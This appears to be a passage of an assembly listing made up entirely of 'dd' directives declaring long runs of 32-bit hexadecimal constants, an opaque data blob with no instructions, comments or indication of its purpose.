		dd 4AE17309h, 7000446Dh, 54EF24C8h, 0EDAE0131h,	2BCDF042h
		dd 3381DC3Ch, 7D0CFC04h, 948076B8h, 0DB720Ah, 66D7A736h
		dd 0F182248Ah, 0ECBA7C00h, 7F93D1E7h, 25C10041h, 28E87186h
		dd 0AF1C16F8h, 0E940C4B5h, 0FEA9F729h, 0AC500068h, 13956A2Fh
		dd 59009BD7h, 73FF99B5h, 1F1DBE4Ah, 0C738C404h,	0C00D2E96h
		dd 5AC27E01h, 197AA403h, 0F0CBA508h, 800F8Bh, 35040C75h
		dd 153368C6h, 0EFBB5D1Ch, 0AEEE8847h, 4B700019h, 37590B8h
		dd 0D0C6B789h, 479033D5h, 5200AFE5h, 0F9A20F71h, 133FB464h
		dd 2CC405h, 30D01D60h, 0D7004FD9h, 79E96CAh, 0E672FA98h
		dd 37F00011h, 94E658E5h, 0DA393391h, 2E4D8730h,	8990AFBCh
		dd 71D9DCh, 8FF1E811h, 333FE7Bh, 0ED60800h, 10C66FD5h
		dd 23FD0070h, 0AC8DC2B2h, 740087E5h, 0CE4FF060h, 0CB7616Bh
		dd 0D51B6C43h, 22016572h, 8AA34D8Dh, 7DC42421h,	0E486136Eh
		dd 68960181h, 601DA046h, 7094F96Dh, 0CC010D13h,	805FA119h
		dd 0E23AC20h, 11B2486Eh, 0E364C001h, 17188074h,	30737EEh
		dd 54DE0296h, 0C32F76BFh, 5E01AF40h, 73CCD84Ch,	0F98F4900h
		dd 0C90A0B14h, 0A5F40065h, 20E70996h, 660071DFh, 0F1228E83h
		dd 1D95C39Bh, 93790AAh,	480899Ah, 3C46D1FEh, 80CC2ACBh
		dd 245EE1FEh, 0D96500A9h, 51E02CA5h, 3300A10Ch,	564C93E9h
		dd 0B8F31927h, 7A83037Eh, 0FD083587h, 0C92CE1C8h, 74373C26h
		dd 0B75B4F05h, 1C17BC88h, 0C194BA8Fh, 0E71037C4h, 0FB01E471h
		dd 84E49100h, 33DF862Ah, 138E072h, 0A55CA405h, 0CC07DBF4h
		dd 0AA000B61h, 3633DC39h, 0A6E4FFh, 34F79AA7h, 4A43EF4Eh
		dd 41C3107h, 7E34060Fh,	0D7EABB80h, 0B8CD003Ch,	0A9ACEB23h
		dd 70000363h, 0E85AF29Fh, 399145BDh, 484CC92Eh,	71EBB300h
		dd 377C2B27h, 8D35F100h, 6930BDA0h, 0AE79C4h, 2C0FD3FBh
		dd 0C52E97A8h, 0F2A97000h, 126CE6EFh, 5ED60091h, 0BA413D4Fh
		dd 0D8FBAA5Dh, 0B9005988h, 76FB5DAh, 0ED67E086h, 0EBBDFCh
		dd 0C1B17863h, 0C8FDD74h, 68005498h, 0E91DB52Ch, 910A6Eh
		dd 559E5C54h, 0D60FD7CEh, 80519B3Eh, 15071640h,	45BBA2h
		dd 0DE63F996h, 5BE172FDh, 4DD76400h, 716C29D0h,	343E40CFh
		dd 635CC4E4h, 0EB9E0056h, 96B3171Dh, 0D4250099h, 60E20681h
		dd 52002F95h, 0CEE324B2h, 0D98D0Ch, 0F1C43D14h,	0B9AACCC3h
		dd 0DC0053B8h, 171A48ECh, 1ED037h, 0C3E4E24Ch, 0FF10D6CEh
		dd 6498651Dh, 0FD134703h, 0F882EEDh, 0F0D90030h, 1150DBE7h
		dd 0F139B307h, 0CE6184DFh, 61C4A0CBh, 2B150104h, 4E41E9C3h
		dd 44E47020h, 8983F200h, 15EE163Bh, 0BD8E005Bh,	7B111F0Dh
		dd 0AD1CA091h, 5DDD3235h, 5F00B424h, 0DAAA92D1h, 0D18076Fh
		dd 90EA015Ah, 141D68D2h, 0D5E75300h, 4EA2E9DBh,	0F377BFh
		dd 288B3CF2h, 0BEC24F4Ah, 5DEAF100h, 727A062Fh,	0C9A70519h
		dd 0C39F83F5h, 0BFA80C24h, 0A9004B8Fh, 1C1DBC6Ah, 3AEE7A12h
		dd 0FE8217F3h, 0F69AB34Ah, 0A2690C0h, 0F1835200h, 0CA62B131h
		dd 0C8E00061h, 0CB46ABF5h, 0FD00971Dh, 703B41E6h, 0F8ADE6Ah
		dd 1A0766B0h, 1D4EB4Ah,	6F85FE54h, 3B5AE036h, 94DFF028h
		dd 0D563BA00h, 0E616F991h, 9B5714DAh, 7B9C94h, 0FB44B4AFh
		dd 0EBF134B8h, 0EECC410Fh, 3F58C11Ch, 3D8D075h,	11B900D1h
		dd 0B45E06A1h, 0B10239F3h, 0A3916079h, 7334587Dh, 0A18B5AD9h
		dd 85AF0040h, 7B004CFDh, 0C5664B15h, 0BAB0B6B7h, 0FB7854h
		dd 0E5F4DC42h, 0E921E70Ah, 61E0791Fh, 0F960B83Ah, 0B2839B02h
		dd 0E0B0EB89h, 1ECD7258h, 0F74ED37Dh, 10660710h, 0F7F22BFh
		dd 80305138h, 52874D37h, 1E3A04C4h, 40BBD13Bh, 9E26F2A2h
		dd 0A60099E1h, 0C44B8601h, 1851D314h, 50E97AD7h, 1B006AF9h
		dd 0EDB86F4Dh, 7CE736h
		dd 3833C769h, 0F7E11885h, 27CAC400h, 0A73C73BEh, 0DF250139h
		dd 529288C2h, 0D360200Bh, 245C9D3Fh, 291E6C02h,	4D00801Ch
		dd 0D9DB176Bh, 0EB60266h, 0E6CCFE49h, 9A7FCCE0h, 0C934FF08h
		dd 0B95300E7h, 0EC6474B1h, 5E05917Dh, 98762538h, 490A8F80h
		dd 7FF64C3Fh, 69916800h, 8DBED9CBh, 0BF7483B0h,	0CD47CA02h
		dd 409BE8ACh, 58F2AE04h, 720770B7h, 5019232Ch, 64FB9D92h
		dd 7C56A207h, 1B801D8Fh, 1E17CE98h, 3BEBA03Dh, 17C92Ch
		dd 6ED8F7B5h, 0EA60BA6Fh, 0AB8BC619h, 77D90105h, 0EEE37B9Ch
		dd 50888036h, 4A19B041h, 7D9B0046h, 23A9291Ah, 2F007188h
		dd 0FA392D3h, 565821h, 15750B74h, 0BBA6E7A7h, 9D8CC40Fh
		dd 0A3DBE0A9h, 1D2FDD44h, 0C060E170h, 88BA5ACDh, 0AC01CB01h
		dd 72DE0DAAh, 0B1F06F1Ah, 3E0E72F7h, 880038D3h,	0B987CAE2h
		dd 63E25462h, 2E9A3D0Bh, 0F6058705h, 78BE7C60h,	4A900CBh
		dd 12F7DDA8h, 0C0C00B02h, 0C2C4E3D8h, 0E900FE5h, 8CC06542h
		dd 13692E0Ah, 0EAAB8D0Bh, 7B35009Bh, 4BCE20h, 0D41CA5B9h
		dd 5D9EEC26h, 0EA77B700h, 0D23809DAh, 31300CDh,	0A9647EFDh
		dd 0FA6066BFh, 0B32A7F50h, 0C61F00E8h, 0E37251E2h, 66009376h
		dd 4C278F1Dh, 15E8A60h,	88B52152h, 0DC34F5D0h, 0F1029910h
		dd 8E117237h, 0B78EE009h, 822B5833h, 240B9400h,	0BE738370h
		dd 0E606EE00h, 0E4EFD053h, 0B57C0193h, 6DC8862Ch, 7FC0D27Ah
		dd 0AD00552Fh, 8D3C959Eh, 0DFD77Fh, 0E1786552h,	0E8D247CFh
		dd 0C50D5A07h, 0C380C049h, 0FCFAC716h, 57513CBAh, 0F9FCD600h
		dd 989E2B74h, 15F8C800h, 0D4C99513h, 56FB012Ah,	333F75C7h
		dd 0BF5420CEh, 0A3445204h, 0FAC0F036h, 18C82B2h, 37091E6Ah
		dd 607F9BE9h, 0ED580688h, 0AF3B0097h, 34A0BAA4h, 93100ECh
		dd 0BDAC92C9h, 0BEEAD042h, 478C2501h, 0FBA079E6h, 3DE04020h
		dd 400FD17h, 8F083663h,	88EA9E72h, 14007C90h, 0AA2F0DF3h
		dd 7E64E87h, 7EF763BEh,	0A7E963ADh, 378EF9C8h, 2698D90Eh
		dd 0B7F38009h, 189E0Ch,	6F3416E7h, 0CAE91466h, 4312200h
		dd 0F4A30208h, 5EA00CFh, 2E7EFFDDh, 6DEEE665h, 10468A00h
		dd 0E8CC992Bh, 0C0BF7EA7h, 0E903FE61h, 88DDBD54h, 7E483540h
		dd 504B9D11h, 94C8B1h, 91490690h, 50ACD87h, 0A5FDFE03h
		dd 0D36C6B61h, 0F48084AAh, 3A44645Fh, 200E847h,	7DA2CE82h
		dd 0AA003DA6h, 0B1BEEED9h, 24A3CCF1h, 105B3Ch, 7D7206B6h
		dd 8278505Dh, 5955B900h, 0D5C02D94h, 42FE0021h,	886CC64Fh
		dd 26009F6Bh, 0F6A6CBF1h, 507A6E47h, 91CFF2h, 0FDCE032Ch
		dd 8C7B2EC2h, 171FDD01h, 7294E64Fh, 0AF0BB440h,	4EE10075h
		dd 0B74070B0h, 0E60E0AFDh, 3F35ED1Ah, 0E13C7183h, 62CC831h
		dd 80A60092h, 0D0E7EE61h, 6C98F8B7h, 0DD09377Eh, 0B3E194h
		dd 0AD217584h, 0BBC9009Ch, 3E4A1B51h, 0F000A1ACh, 0A8EB3FC3h
		dd 775F5DEh, 0FD7D664Fh, 87E3A3D8h, 312F2CB0h, 0B85B101Ch
		dd 0BC9807Eh, 80117C99h, 6EBA014Ah, 372FD715h, 0C4D44097h
		dd 1650361Fh, 4200D2F8h, 0E1568044h, 1C73C129h,	8A23904Ch
		dd 28FCF4D6h, 0DC15000Ah, 3106E9E5h, 0BE60F7E8h, 6857ADC0h
		dd 0FB4000C9h, 18F87ECFh, 15053D35h, 0D0B6D8DEh, 805C400h
		dd 9ABE80Ah, 35FEFAEEh,	81740080h, 0BCF69379h, 179E155Ch
		dd 0B00FF566h, 0CFBDA009h, 14A811C0h, 0F00B1D06h, 54E39F01h
		dd 40B4215Ch, 0B9C1C3D8h, 87623A00h, 0E3C7255Dh, 0A47C0061h
		dd 720B5BE7h, 0DE75D057h, 6F5AEC00h, 694737B2h,	933B00E1h
		dd 30D93CE3h, 0F8F512F1h, 0B701E746h, 0C26DB035h, 3E70C68Fh
		dd 80A139DAh, 32F82A80h, 7331AFAAh, 6E45C00h, 0B69F816Fh
		dd 6E0700F7h, 5975FD04h, 0A913769Ch, 4D04AE78h,	8C80C583h
		dd 0E8B9A4BEh, 5DA100CEh, 0A921714Dh, 6A00F6C1h, 0E878562Ah
		dd 0B0FFDFD6h, 0C267026Ah, 40B8E287h, 99D20C48h, 2EBAC800h
		dd 9E6D7FA6h, 609009h, 0D4D07EFCh, 0F778F473h, 0B8910207h
		dd 1190532Bh, 1F67A7h, 0FA400AEFh, 955260A6h, 29827F04h
		dd 0C906B64h, 4E53F3Dh,	6FAA5627h, 0D8C567h, 525D4262h
		dd 0F100A8A5h, 9414544Bh, 0D62F37h, 3973BF64h, 8070CAE3h
		dd 0DDA67603h, 90A88FADh, 0BD077h, 5F53AE02h, 0C0CE239Eh
		dd 380E958h, 8B04D2Ah, 5A2F88A9h, 8098EAh, 0D0C2BA81h
		dd 4D1CC43Fh, 71FDA500h, 0A15F809Bh, 627300D9h,	18E4C785h
		dd 9C00D1C0h, 9D5D1F0Ch, 270899h, 6AF3D71h, 682ABE05h
		dd 0EA003478h, 6DA4F5FCh, 0F88B5Ch, 0BD7995C9h,	355D7537h
		dd 5BA6A900h, 0D63B9657h, 9D9C004Ch, 0E0AABF0Fh, 42018E20h
		dd 0DAA258BDh, 0F8E0CF66h, 7CDF49D1h, 0F7AE2D07h, 71D8A0B0h
		dd 2B0069ADh, 74047B4Ah, 3F36080Eh, 0CA806699h,	37754C3Ch
		dd 0CF48EFB0h, 5CA10047h, 0A0122E40h, 0C5F20006h, 34047230h
		dd 9600298Fh, 3BCB10D9h, 21494Fh, 40C7B38Eh, 0D277595Eh
		dd 4AE81D4h, 0BAF68B60h, 35A3AD0Fh, 207ED31Bh, 1B9AEA3Ch
		dd 0FF1195A4h, 61CF5D80h, 30789D8Eh, 7F0ED503h,	0B0F4F71Dh
		dd 30F2A02h, 7CDFFF2Fh,	603D41B3h, 35D706B1h, 18497F22h
		dd 700C9AB2h, 0DE18E5BAh, 4090DC4Eh, 8E690092h,	0DA89AC2h
		dd 100EA09Fh, 203FC1F6h, 5C6BF23Eh, 0BA560008h,	5D40CC69h
		dd 68A07F0Fh, 8A037D4Eh, 619ACABCh, 57C002B3h, 0C93FF0B1h
		dd 8E8D64E8h, 30BB1037h, 0EB7A3D80h, 5B4707A5h,	0C1B206FDh
		dd 0FC52C69Ah, 0B3166B8Ch, 78005705h, 0B20C0887h, 9C7548ADh
		dd 0EBC42400h, 3A44974Bh, 1C701826h, 0E80101Ch,	354989C8h
		dd 98F70785h, 90B46AB3h, 6C0F6FF4h, 20792D07h, 0F8102EE8h
		dd 0A03E55h, 8BE48131h,	9B1E2AF7h, 1C4FA63Ah, 13808C50h
		dd 0F9748D67h, 26B900E1h, 9B2CC36Eh, 9C031A7Ah,	0F3D4FA88h
		dd 0C00B9857h, 0BC6E0093h, 1C656874h, 0E45C473Eh, 1E443A10h
		dd 644013B4h, 2A9D9E35h, 79800AABh, 8EA0E95Fh, 0B4C0231Bh
		dd 0EE024CDEh, 55699C00h, 5612C7D6h, 90F62AA0h,	5ED4009Ch
		dd 48863287h, 9324BD69h, 0D8005B1Dh, 67B20B73h,	9B7E5C8Ah
		dd 0E5796000h, 6CC9CA3Fh, 0C4DF68CAh, 223D3781h, 4230B061h
		dd 0DAEC00A3h, 0F8ECC4Dh, 121F657Dh, 3E98A57Ah,	60410431h
		dd 0DE2981A0h, 0E9720F8Fh, 0A518747Eh, 6F293D0Bh, 0F7400047h
		dd 32495833h, 0E3289A63h, 0A55C10B7h, 68DA00B9h, 6027D1C8h
		dd 114500ADh, 0EDCC20Ah, 34030549h, 0CFB0240Fh,	776EF9C9h
		dd 189FBBF0h, 491BB735h, 3960C736h, 493267FEh, 4C1000FDh
		dd 628F92F3h, 840026F2h, 59A93C60h, 71FE7B7Ch, 4A0E1E0Dh
		dd 0B7C1C011h, 4C0B567h, 324C3Ch, 0EDD0A34h, 350D28h, 1660EB4Bh
		dd 0C0AAD662h, 92651200h, 0BE719834h, 0BCAB58B8h, 7872EB58h
		dd 0C8A60085h, 0D410C757h, 56397EB7h, 4F2B0A88h, 900FECA1h
		dd 41C340BAh, 66CB93h, 0F4DCEFCDh, 0B257FA30h, 968FD613h
		dd 4C659C00h, 877B67h, 8B7671A9h, 0B1C53044h, 0AF84CCE3h
		dd 0A4179701h, 39F4D4EFh, 80FB2DCDh, 7BC836C4h,	49EE07h
		dd 2AB59769h, 0AF5D916Ch, 0AD686B0Eh, 0BA83E046h, 0E51358h
		dd 0ED30E660h, 0C4D6B141h, 440791B0h, 497B994Ah, 420B5630h
		dd 3D4B2665h, 4CCA011Ch, 0E493A674h, 96008AF3h,	0C6E53E82h
		dd 1C4CD5Ch, 631E3C5Fh,	0CC8375A0h, 0A1E831C7h,	72011771h
		dd 2752AD9Ah, 62E4E69Fh, 166105D4h, 80CD58EDh, 8DCFF41Eh
		dd 621995F5h
		dd 9CFF8304h, 29103A04h, 78AE2E80h, 6C4EB13Fh, 39CA1600h
		dd 0FF2C707Bh, 0C8914808h, 2D6D280Ch, 4F446529h, 2488441Bh
		dd 44559044h, 2284C92Bh, 41E17CA3h, 1227C728h, 233C82FDh
		dd 43C257Eh, 4A365B28h,	12081421h, 9D389083h, 15213451h
		dd 9086BB08h, 32308454h, 65423948h, 84702E84h, 2D48316Fh
		dd 2F8B1442h, 3B919C10h, 22005122h, 5DC75620h, 59B92F4h
		dd 55CE8994h, 11CB81CBh, 0E8F52044h, 806BDB3Bh,	5EABFCB5h
		dd 232FFh, 426AEE97h, 0B1642CD9h, 0AFCE5600h, 0FA1A9D30h
		dd 1F79814h, 6DAD943Ch,	0D25489ECh, 60F126C0h, 15446400h
		dd 0ACBC2E45h, 0CD740705h, 505219A7h, 0C9149FB1h, 9176C800h
		dd 4926410Dh, 0B34737CBh, 48CE30B6h, 533CB50Ah,	803E002Ch
		dd 8FF92B12h, 0B4363091h, 3AE78E19h, 0A38B7000h, 6583F87Eh
		dd 0F77C30D5h, 3FBA0B21h, 0B1891800h, 0D6F6F860h, 0CCB868h
		dd 79EB5A0Fh, 7C050D36h, 4429B602h, 481D3121h, 0AC504Ch
		dd 0A90F953Ch, 9139A79h, 2FA08A00h, 0CB7A644Eh,	8EFEAEh
		dd 16BBA51Ch, 1477B85Bh, 39BDFA30h, 18171E2Eh, 1876EF99h
		dd 971DB6C8h, 30426E28h, 48C20B5Ah, 0F709AE98h,	1D720AF0h
		dd 4FFF8FD9h, 1B80AB70h, 0CB94ECE5h, 788DCCFFh,	65CEBF00h
		dd 54E75734h, 9EC600DAh, 4D06B95Fh, 0F400289Ch,	0B07EE351h
		dd 752502CAh, 8DFD008Ch, 343929F0h, 0A260D872h,	58F96328h
		dd 0B7B80152h, 91C992EFh, 5B5083DBh, 0C8133EAFh, 0CB299Bh
		dd 14305119h, 1528A594h, 0A07D58h, 96220360h, 3E34F33Fh
		dd 66006258h, 4124778Dh, 0E30E92C5h, 0C0AE754Eh, 520CBD3Fh
		dd 0E54A0020h, 1FA90156h, 9400221Eh, 0ABB36D38h, 8309D2h
		dd 555A519h, 1676B90Ah,	0F781C207h, 33B0FE67h, 0E9353Ah
		dd 0D06BF578h, 6C638ADCh, 7B091A1Eh, 9D15C780h,	0F5CFE4Bh
		dd 8521A3D2h, 0C6FFAA0h, 0E1395084h, 9CD392EEh,	55B46005h
		dd 0FB9EF203h, 73B2A868h, 0E6820023h, 2409FE08h, 30019333h
		dd 89E86F0Bh, 0FDE476FCh, 118F001Ah, 7EB3ADA1h,	472499D9h
		dd 0ED804819h, 0C87AA627h, 0BF82014Ah, 61EA08BEh, 0B253F00Ch
		dd 0F55E0300h, 977B6893h, 870D00AAh, 7D79361Ah,	0A2478EFh
		dd 43604073h, 0FC015Fh,	7BDD48A7h, 0C1230356h, 0D5544200h
		dd 275E042Fh, 3A4D00F4h, 0AD86C283h, 6B006557h,	95125F02h
		dd 60C867E5h, 0EDFE16D8h, 0C7001D39h, 6650518Bh, 46E4F7h
		dd 0D5CAA635h, 37952574h, 8F006FF8h, 0BDB66CF8h, 16286BB2h
		dd 6723C0h, 0DEADEF66h,	6900FD34h, 94BD722h, 48A95DE1h
		dd 0CA2EC860h, 438F02E1h, 8FE0760Dh, 94A01B3Ch,	0B6073296h
		dd 1678654Fh, 8C6E5440h, 97B100F0h, 0DEC32305h,	190027DCh
		dd 3E66C0CBh, 1263BE39h, 85445h, 0AB65DB94h, 6C2D0C8Dh
		dd 0E30A80EEh, 215B133h, 49FA7791h, 0DB80ADC8h,	0BAACD47Dh
		dd 286EB30Ah, 6309CD72h, 89A8200Ah, 778C2ABh, 19D05409h
		dd 86E85075h, 70059D3h,	71609D8Fh, 0F6030CB7h, 0B3530054h
		dd 9288125Bh, 0A600A16Fh, 2FBABE9Bh, 0EAD2A4h, 37252D08h
		dd 3F26079Dh, 3B659800h, 3EF429A0h, 4B4900F6h, 0D4D86EE3h
		dd 91002127h, 6A157110h, 0F47DEA0h, 0C481C889h,	183E32E1h
		dd 0B898DC51h, 0D6707100h, 0D93FCF2Ch, 78B324D1h, 286900C8h
		dd 1768857Fh, 80E2243Eh, 9A0C08F5h, 2C0DEAh, 0C4809EC5h
		dd 0E93385A3h, 8FC8F800h, 0CC4243FAh, 1E3F75D0h, 0C0516AAEh
		dd 0B8763E7Bh, 0F3002E19h, 0A8C01CFFh, 66D52Ch,	8B4539F6h
		dd 7F44853Eh, 6B51C101h, 0AA3643A2h, 66BA91FBh,	13B9A8F3h
		dd 3E90088h, 5191E75Fh,	4001DFCh, 1EB1EE2Bh, 17C6E29Eh
		dd 2815E76h, 7183D816h,	3EB800E3h, 6B703FA2h, 0D4877A00h
		dd 0FBE20C7h, 81CC4F4Dh, 0CC614334h, 3E00D9A2h,	0FA6F4A3Ch
		dd 688377h, 21BBAF8Ch, 0A7F3E457h, 7325C8FCh, 437403Dh
		dd 0EED4A095h, 1CB1EAE9h, 5FAF4F7Ch, 870A619h, 2D013E9Fh
		dd 769CE83Ch, 0CAA9C8h,	1C1805C1h, 79975CB4h, 0CB368C00h
		dd 0B634292Fh, 0F45F04Ch, 70FC18CEh, 2AD50180h,	8B07DF31h
		dd 59CC68DCh, 6AB23D70h, 20DE176Fh, 45784F5Bh, 47EE6560h
		dd 0EF3126FCh, 396EE232h, 1D80C820h, 804BB534h,	0D3372BADh
		dd 0C202CEA6h, 255BED49h, 20BC41C5h, 1C057AD4h,	5D87084Fh
		dd 238EC01Bh, 0BCFB732Dh, 15EB0700h, 77CF81FAh,	0A9C70074h
		dd 3D88160Fh, 8E00AFB5h, 980159BBh, 0CE31A35Eh,	0B806D98h
		dd 57169C34h, 0EA87681Dh, 0BB79E503h, 3FB5E9F0h, 983A9EE4h
		dd 55020080h, 0E40D66DBh, 5A00BEFBh, 9C816545h,	3F26EF09h
		dd 0CC006D5Eh, 0B27120A3h, 2E70FA4Ch, 13009B7Ah, 1D792B58h
		dd 3EA77DCh, 8C7BF1F9h,	0FEE0024Eh, 9907E314h, 108A4928h
		dd 6D6B8710h, 748C0167h, 0A99555EEh, 3AD6E8DFh,	6970A2E2h
		dd 80F84238h, 3B02A578h, 3AD29F48h, 279124Eh, 83D7500Fh
		dd 28C0A461h, 0DF00B86Ah, 186265B0h, 0E211D03h,	0CB52DC41h
		dd 878B9220h, 631C5102h, 85806F0Dh, 0BA78D153h,	0BD29006Bh
		dd 0E357C2F1h, 0E804182Ch, 0A6983877h, 343D9C00h, 0A958CD7Bh
		dd 834317B0h, 0EA79000h, 6C4A3Eh, 0CA44E9F6h, 5E1BDD9Dh
		dd 57112600h, 36301CF1h, 0D7350058h, 0EDEC64BAh, 742EC073h
		dd 8F1FD517h, 98F65E80h, 26FBC1E0h, 1B4D160h, 468B09B5h
		dd 3CFDD423h, 0E07DCC0Fh, 72F1A08Ch, 7970FEh, 0B82AEED2h
		dd 0FA9CB206h, 13D44E00h, 1611AB4h, 48CF64Ch, 453E7882h
		dd 6FC88083h, 48002AF7h, 8FEEBBD2h, 0E77E1Ch, 0B4465605h
		dd 4CD68D3Dh, 5B3E6900h, 5044F680h, 0BFB20057h,	0F78411CBh
		dd 0E00E8F1h, 932F342Dh, 227BB31h, 0D996C2Ah, 8220A4DDh
		dd 0EE7972CEh, 2454B8B7h, 1B80685h, 0CC2A8F1h, 0FA2A30AEh
		dd 0DCCA5Ch, 6B8B0A15h,	11A70Fh, 7CD959D7h, 0D066543Eh
		dd 0FD8FCF16h, 0A6C9400h, 63E799h, 573B46B8h, 2B1BE2D5h
		dd 0D3587490h, 67FD01F8h, 0CC7173AEh, 5B75C8h, 0ABD414D5h
		dd 0FF24799Fh, 0F08EC300h, 2C1B1519h, 62C21F40h, 148240Ch
		dd 971DC93Bh, 0A44AC04Bh, 0D4F2E801h, 0E9023573h, 9542F881h
		dd 206027E2h, 900050Ch,	0BA3F538Fh, 36C3618h, 10D10C42h
		dd 73984A56h, 3C00EA74h, 78E7CEEh, 5C81FD6h, 153428A7h
		dd 0C2C90062h, 86AAE65Eh, 0BA041902h, 0E0D3B9AFh, 2301214h
		dd 0C44DD785h, 0FD606BC2h, 0FB0065FEh, 35212D40h, 0F9A41Fh
		dd 0A5017ACBh, 0AF58DBECh, 0C7326101h, 9729A1Eh, 6A1D4E4h
		dd 26DF9E86h, 400B890h,	0E8305DEBh, 1EA45A79h, 0C0A5562Ch
		dd 72828391h, 0ED01A3F3h, 0EE73E8B7h, 0C040C433h, 2F9C30Fh
		dd 47C65487h, 968577F3h, 0A5D40026h, 0D6AA1EDCh, 0C82A5328h
		dd 0B098E548h, 0E5B94965h, 0A5409Fh, 0AF484CB4h, 2D092093h
		dd 809FAA59h, 0DF718F44h, 8BC11262h, 69300221h,	0E8E0B65Ah
		dd 14E4BD7Dh, 4E228000h, 84A9415Eh, 6B8FAh, 55CE6907h
		dd 94E36D3Bh, 0ED4E451Eh, 76018BDEh, 2EF0CB93h,	309CC1E8h
		dd 39A83734h, 24001D5Bh, 6257A585h, 87E248h, 0C46B1BA9h
		dd 3D3BD8D2h, 0C64A4B01h, 8A11B7B9h, 88607AC9h,	0A1450128h
		dd 78CC803Ah, 632DE875h, 7DC6F50Eh, 617C008Eh, 1ECD6E08h
		dd 80BA2C3Dh, 21D3A02Bh, 470F982Eh, 0CBF45195h,	348E0071h
		dd 0DF1DA4CEh, 5878806Ah, 3CF6E849h, 64913300h,	44B976C1h
		dd 0C18001Fh, 0C527285Fh
		dd 0D50256BCh, 0ED25D9FEh, 0B84CE311h, 905A4B6h, 0D8DE6063h
		dd 0B9852820h, 0DC9010D5h, 5C20F026h, 0B3C57000h, 7F48B14h
		dd 0C494F258h, 309620A6h, 0DA01FB17h, 0AEA971F7h, 0D440AAB5h
		dd 4A2F65D8h, 0E4B4009Fh, 0DC94DAB0h, 0E7A8B900h, 0F1366675h
		dd 6FC8F904h, 0E4C6004Ch, 0F2974062h, 6100877Eh, 78FECEF5h
		dd 925CD0Ch, 7A70D741h,	44808000h, 92883A52h, 540700B0h
		dd 0EA405ACEh, 88031945h, 0B3C07BE4h, 2A9C90BAh, 4B7A78h
		dd 5B6E2597h, 0B0E250CEh, 19953100h, 53DB7FCAh,	1EF10423h
		dd 0A7A060h, 2FDC6584h,	574912E8h, 0D5C480F9h, 1200E392h
		dd 384CF75Ch, 5106918h,	3936547Ch, 6290C09Eh, 7513D84Eh
		dd 4004237Ah, 742DB6Eh,	7848DE7Bh, 0BA058556h, 2158A20Dh
		dd 0A740B400h, 0AD78CDh, 0AAF496A4h, 3E56BBD4h,	6709A600h
		dd 0C2324731h, 9D340536h, 801BBE3Dh, 8A7D6F88h,	0AE4C4960h
		dd 0E09E19D0h, 0D5410E11h, 409853B9h, 2D00EC61h, 148281B1h
		dd 3B0E762h, 337D0716h,	6E8E0B7h, 640C182Fh, 0B035BF34h
		dd 9766018Dh, 0C3A202A6h, 0D2DC4DDh, 0F69F1B00h, 0B82B4C70h
		dd 0CFB1038Eh, 0A43A2441h, 74FC9DF9h, 3E3C99E4h, 0EAED8C0h
		dd 64EB95E8h, 7C80D969h, 4F3C884h, 179FF505h, 2B10C03Fh
		dd 0BB07425Dh, 97F411A1h, 5FD1A5F0h, 2B22809Ah,	14100C1Ch
		dd 20292DCBh, 1E7CDD20h, 658D0349h, 6C669FEBh, 0CFB37FD0h
		dd 0E5A0E909h, 605482C6h, 38D05Bh, 30FF63CEh, 0E84E6CC9h
		dd 92515300h, 33A6C315h, 2FB72C0Dh, 7543802Ch, 17CACEB5h
		dd 9CE72C02h, 0C0674A57h, 0FCD09EACh, 8F0805ADh, 80BA8E95h
		dd 0E929F9A7h, 90CAA00h, 34B5850Ah, 73E784Dh, 787EBA7Ch
		dd 650EF33Bh, 31A0EAE0h, 3D103A60h, 44462D6Ch, 860025A7h
		dd 907762E6h, 70112D1h,	17BBBFCAh, 2C690084h, 7813EE27h
		dd 1882A6D7h, 1DC447Dh,	644257FFh, 20C8EB80h, 330C47AEh
		dd 0D940DD37h, 0DF1B0065h, 612D7468h, 180919CBh, 0C049851Fh
		dd 6600D64h, 0C0DDC4C7h, 0C300905Fh, 0A16E248Fh, 3278EF7Bh
		dd 89799583h, 8200B052h, 77DA73D9h, 2A461Fh, 18B5E087h
		dd 5078E829h, 90E15F2Ch, 849C2F00h, 39EF66CBh, 3CF85456h
		dd 250052AAh, 0FC878EB7h, 8F00AC0Dh, 69A972CCh,	1A14B22h
		dd 4AC48CAAh, 0CCDDDE01h, 0B8002804h, 8E9AC56Ah, 7ED7A10h
		dd 0CE748A56h, 5004E7DAh, 154767FAh, 69318F00h,	0FE5B7F07h
		dd 4FC1007Ch, 8A068CBBh, 1C09AB6Ah, 7EC4E5h, 0AA75EF10h
		dd 3B5000C7h, 0FC9C0EA5h, 0AE7A8564h, 2BE3509h,	0A6680040h
		dd 0B27701D8h, 3F310400h, 0B0039119h, 0AD018E4Ch, 0B112D0B5h
		dd 50602335h, 5C8D1F19h, 8CEF06B9h, 4C003CFAh, 8BE39780h
		dd 281699B3h, 98DBBCA2h, 873600BCh, 0AA93815h, 0F8001759h
		dd 942716E1h, 3E70Fh, 0F941AE70h, 1929E576h, 0BBA2F406h
		dd 39C8753Bh, 0EE0B85F3h, 9C836826h, 9FA03453h,	0B4009BCAh
		dd 7BF83A23h, 9020178Dh, 0E3FB00B0h, 4F9FD0B7h,	6B0159C5h
		dd 1D538E98h, 0C3EBC24Eh, 0E0E6C078h, 237300A1h, 27EF983Bh
		dd 70C377D6h, 0E820A81Bh, 30045288h, 0ED306712h, 4309FAA0h
		dd 2080ECD4h, 3BAEFE40h, 0D0244809h, 926A3400h,	0C58C0B55h
		dd 1B4514Dh, 0FEE3E02Eh, 3C2C0EC3h, 0BED1ED00h,	0DAB183B7h
		dd 24F14E26h, 2FE65A07h, 2A802E00h, 19A960BCh, 5061023Eh
		dd 0ACF63328h, 9D122D00h, 6D644D56h, 0AB9C0977h, 6CC05819h
		dd 73008633h, 0B1DF1810h, 75A3CF15h, 0E7900543h, 80D0CBAAh
		dd 0CD531D50h, 4435242Ch, 8A1C7801h, 5E00DF7Dh,	940099FFh
		dd 5704B189h, 5424501h,	770C4710h, 0B5E8A0FDh, 54511600h
		dd 8C0F29E8h, 5E6F0024h, 0BF665605h, 0F4F69F3Dh, 0EC5BC405h
		dd 4480A874h, 0FC08F958h, 72EA0194h, 1E198BF7h,	302F212Fh
		dd 7F0099E4h, 0CD8FEDA9h, 0A564B6h, 0BDD19E38h,	0D57D3306h
		dd 0C407AC00h, 50324E8Fh, 0CDF9001Eh, 1CB8D26Fh, 4F00529Fh
		dd 72F0C041h, 0C3D738E2h, 3CAD68D0h, 9CFD1DF8h,	130EC800h
		dd 4C2082D2h, 3D67EC2h,	29A44608h, 0DD81866Ch, 4E84308Dh
		dd 0C1870204h, 80AF4Ah,	0EED0F95Dh, 98FE0E8h, 76819EEFh
